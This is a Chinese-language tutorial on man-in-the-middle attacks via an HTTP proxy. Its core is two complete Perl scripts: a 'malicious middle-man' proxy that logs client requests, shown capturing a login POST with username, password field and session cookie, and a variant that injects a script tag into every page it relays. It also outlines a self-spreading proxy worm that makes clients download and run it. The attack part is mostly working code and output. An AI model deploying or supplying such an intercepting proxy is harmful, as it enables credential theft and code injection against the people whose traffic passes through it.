说起“中间人攻击(Man-in-the-middle-attacks,简称:MITM攻击)”大家可能马上想起曾经风靡一时的SMB会话劫持,DNS 欺骗等技术,这些都是典型的MITM攻击手段。其实MITM攻击说它是一种手段,不如说它是一种攻击模式,它可以应用于各个领域,比如在现实中,A通过B 给C传话,那么B在传话给C的时候,可以夸大其词,也可以填油加醋后传给C,在这个过程中中间人B 无意中就来一次MITM攻击,其实“谣言”就是这么来的 J. 具体在网络安全方面,MITM攻击应用也很广泛,下面我就以http协议代理来介绍下代理里MITM攻击。
一 .原理
代理服务的一个典型模型:
client <<-data-> proxy server <ßdata-> Web Server
middle man
上面可以看出:client 发出的请求 和 web server返回的数据都经过proxy server 转发,这个proxy server 就起到了一个middle man的作用,如果这个“中间人” 够黑,那么整个代理过程的数据 都可以由这个“中间人”控制。
二.攻击类型
截取敏感数据
代码注射
ProXP worm
其他利用
三.实例说明
1. 截取敏感数据
首先我们编写一个“恶意的中间人” 代理程序:
- =============================codz start===============================
- #!/usr/bin/perl
- #proxy mid-man-atk Test script
- use strict;
- use URI;
- use IO::Socket;
- my $showOpenedSockets=1;
- my $server = IO::Socket::INET->new (
- LocalPort => 8080,
- Type => SOCK_STREAM,
- Reuse => 1,
- Listen => 10);
- binmode $server;
- while (my $browser = $server->accept()) {
- print "\n\n--------------Clint提交数据-------------------\n";
- binmode $browser;
- my $method ="";
- my $content_length = 0;
- my $content = 0;
- my $accu_content_length = 0;
- my $host;
- my $hostAddr;
- my $httpVer;
- while (my $browser_line = <$browser>) {
- unless ($method) {
- ($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+) +(\S+) +(\S+)/;
- my $uri = URI->new($hostAddr);
- $host = IO::Socket::INET->new (
- PeerAddr=> $uri->host,
- PeerPort=> $uri->port );
- die "couldn't open $hostAddr" unless $host;
- if ($showOpenedSockets) {
- print "Opened ".$uri->host." , port ".$uri->port."\n";
- }
- binmode $host;
- print $host "$method ".$uri->path_query." $httpVer\n";
- print "$method ".$uri->path_query." $httpVer\n";
- next;
- }
- $content_length = $1 if $browser_line=~/Content-length: +(\d+)/i;
- $accu_content_length+=length $browser_line;
- print $browser_line;
- print $host $browser_line;
- last if $browser_line =~ /^\s*$/ and $method ne 'POST';
- if ($browser_line =~ /^\s*$/ and $method eq "POST") {
- $content = 1;
- last unless $content_length;
- next;
- }
- if ($content) {
- $accu_content_length+=length $browser_line;
- last if $accu_content_length >= $content_length;
- }
- }
- print "\n\n................Serve返回数据.................xx\n";
- $content_length = 0;
- $content = 0;
- $accu_content_length = 0;
- my @ret= <$host>;
- foreach my $host_line (@ret){
- print $host_line;
- print $browser $host_line;
- $content_length = $1 if $host_line=~/Content-length: +(\d+)/i;
- if ($host_line =~ m/^\s*$/ and not $content) {
- $content = 1;
- #last unless $content_length;
- next;
- }
- if ($content) {
- if ($content_length) {
- $accu_content_length+=length $host_line;
- print "\nContent Length: $content_length, accu: $accu_content_length\n";
- last if $accu_content_length >= $content_length;
- }
- }
- }
- $browser-> close;
- =============================codz end===============================
运行此脚本把结果保存到test.log:
C:\usr\bin>perl proxytest1.pl >>test.log
然后Clinet使用次代理访问_blank>http://reg.163.com/CheckUser.jsp 登陆
打开test.log得到如下数据:
- --------------Clint提交数据-------------------
- Opened reg.163.com , port 80
- POST /CheckUser.jsp HTTP/1.0
- Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-Powerpoint, application/vnd.ms-Excel, application/msWord, */*
- Referer: _blank>http://reg.163.com/CheckUser.jsp
- …….省略…….
- Cookie: URSJESSIONID=b370cQyLDya7
- …….省略…….
- url=&username=hack-520&password=*****&submit=%B5%C7%A1%A1%C2%BC
- ................Serve返回数据.................xx
- HTTP/1.1 200 OK
成功得到
username=hack-520
password=*****
2.代码注射
在使用代理的整个过程里,最终是通过代理服务器把数据发给clinet,这个数据是我们可以控制的,我们可以注射我们的恶意代码提交给clinet,修改上面的perl程如下:
- =============================codz start===============================
- #!/usr/bin/perl
- #proxy mid-man-atk Test script
- use strict;
- use URI;
- use IO::Socket;
- my $showOpenedSockets=1;
- my $server = IO::Socket::INET->new (
- LocalPort => 8080,
- Type => SOCK_STREAM,
- Reuse => 1,
- Listen => 10);
- binmode $server;
- while (my $browser = $server->accept()) {
- print "\n\n--------------------------------------------\n";
- binmode $browser;
- my $method ="";
- my $content_length = 0;
- my $content = 0;
- my $accu_content_length = 0;
- my $host;
- my $hostAddr;
- my $httpVer;
- while (my $browser_line = <$browser>) {
- unless ($method) {
- ($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+) +(\S+) +(\S+)/;
- my $uri = URI->new($hostAddr);
- $host = IO::Socket::INET->new (
- PeerAddr=> $uri->host,
- PeerPort=> $uri->port );
- die "couldn't open $hostAddr" unless $host;
- if ($showOpenedSockets) {
- print "Opened ".$uri->host." , port ".$uri->port."\n";
- }
- binmode $host;
- print $host "$method ".$uri->path_query." $httpVer\n";
- print "$method ".$uri->path_query." $httpVer\n";
- next;
- }
- $content_length = $1 if $browser_line=~/Content-length: +(\d+)/i;
- $accu_content_length+=length $browser_line;
- print $browser_line;
- print $host $browser_line;
- last if $browser_line =~ /^\s*$/ and $method ne 'POST';
- if ($browser_line =~ /^\s*$/ and $method eq "POST") {
- $content = 1;
- last unless $content_length;
- next;
- }
- if ($content) {
- $accu_content_length+=length $browser_line;
- last if $accu_content_length >= $content_length;
- }
- }
- print "\n\nxx....................................xx\n";
- $content_length = 0;
- $content = 0;
- $accu_content_length = 0;
- my @ret= <$host>;
- my $ret=@ret;
- push(@ret,"<script>alert(\"superhei\")</script>"); #〈=注意这里
- foreach my $host_line (@ret){
- print $host_line;
- print $browser $host_line;
- $content_length = $1 if $host_line=~/Content-length: +(\d+)/i;
- if ($host_line =~ m/^\s*$/ and not $content) {
- $content = 1;
- #last unless $content_length;
- next;
- }
- if ($content) {
- if ($content_length) {
- $accu_content_length+=length $host_line;
- print "\nContent Length: $content_length, accu: $accu_content_length\n";
- last if $accu_content_length >= $content_length;
- }
- }
- }
- $browser-> close;
- $host -> close;
- }
- =============================codz end===============================
代码:
- my @ret= <$host>;
- my $ret=@ret;
- push(@
- ret,"<script>alert(\"superhei\")</script>"); #〈=注意这里
这个在代理服务最终把webserver返回的数据<$host>里 注射了代码<script>alert("superhei")</script>。
运行上面的程序,当clinet用此代理服务器访问任意站时都回执行<script>alert("superhei")</script>
3.Proxy worm的实现
如果上面的例子在配合其他的客户端攻击(如网页木马),那么就可以实现proxy worm了:
proxyworm--àclinet(proxyworm1)-àclinet1(proxyworm2)-à…..à
clinet1在使用了proxyworm代理后,proxyworm向clinet注射可以让clinet下载并运行自身的代码,clinet被攻击后成为了proxyworm1 ……..。
4.其他应用
技术都又它的双面性,我们和可以利用在安全方面:比如恶意代码过虑平台:webserve 返回的数据经过代理服务器时 经过过滤在 发送给 clinet
………
小结:
其实Man-in-the-middle-attacks是个很大的课题,在很多方面都提到,
本文只是浅显的通过http协议代理介绍了下“代理中间人攻击技术”, 如果有兴趣的朋友可以研究下 其他协议“代理中间人攻击技术”。
